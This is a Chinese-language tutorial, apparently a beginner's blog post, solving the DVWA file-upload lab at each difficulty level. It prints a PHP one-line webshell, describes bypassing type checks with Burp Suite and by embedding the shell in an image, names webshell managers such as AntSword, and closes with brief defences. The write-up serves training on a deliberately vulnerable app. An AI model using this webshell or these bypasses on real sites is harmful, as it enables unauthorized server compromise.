提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
目录
前言
通常在一些网站中都有文件上传的一个功能,比如上传头像或者背景之类的,这就是一个注入点。
在这里我们可以上传webshell来达成一些目的。这里以DVWA里的靶场给大家做个解析。
提示:以下是本篇文章正文内容,下面案例可供参考
一、FileUpload(low)
1.源码分析
可以看出low级别未做任何防范,直接上传到路径"hackable/uploads/ "里面
2.根据语言选择一句话木马
这里是php,选择最简单的<?php @eval($_POST[password]);?>(紫色加粗部分是自己写的密码,在后面会有用到)
3.文件上传
选择我们刚写好的一句话木马
成功啦
二、FileUpload(medium)
1.源码分析
这里我们发现他对文件格式做了限制,只可以上传image/jpeg格式 ,单纯的php文件已经传不上去了
2.思路分析
这里文件格式被限制,但是我们发现他是基于POST传递的,所以我们可以尝试用burp suite抓包改包
3.文件上传
先更换浏览器代理让BP抓POST传递webshell的包
将格式改为image/jpeg就可以绕过验证
三、FileUpload(high)
1.源码分析
因为有了getimagesize()函数这次她的检查机制是检查最后的文件是否为jpg格式,所以medium里面的抓包改包不适用了
2.思路分析
这里我们可以考虑把一句话木马写进图片里
这里我们“随便”选择一张自己喜欢的图片
3.文件上传
把一句话写到图片里,可以用010编辑器,也可以用cmd来copy
将复制好的图片上传发现成功
四、FileUpload(impossible)
既然都是impossible了怎么可能让你轻松搞定,一般来说都是不行的
五、实战webshell
前面上传了webshell,那么我们要怎么使用呢,有很多工具比如菜刀,蚁剑,哥斯拉等等。这里使用的是蚁剑根据之前成功上传的提示可以知道文件目录在dvwa/hackable/uploads/路径下
直接添加即可
就可以做一些想要做的事情了
如何防范
我们可以针对攻击方法来进行防范比如
1.检查文件上传后最后的格式
2.将文件设置为不可执行
3.随机分配文件上传的目录
萌新发表,有什么建议可以留言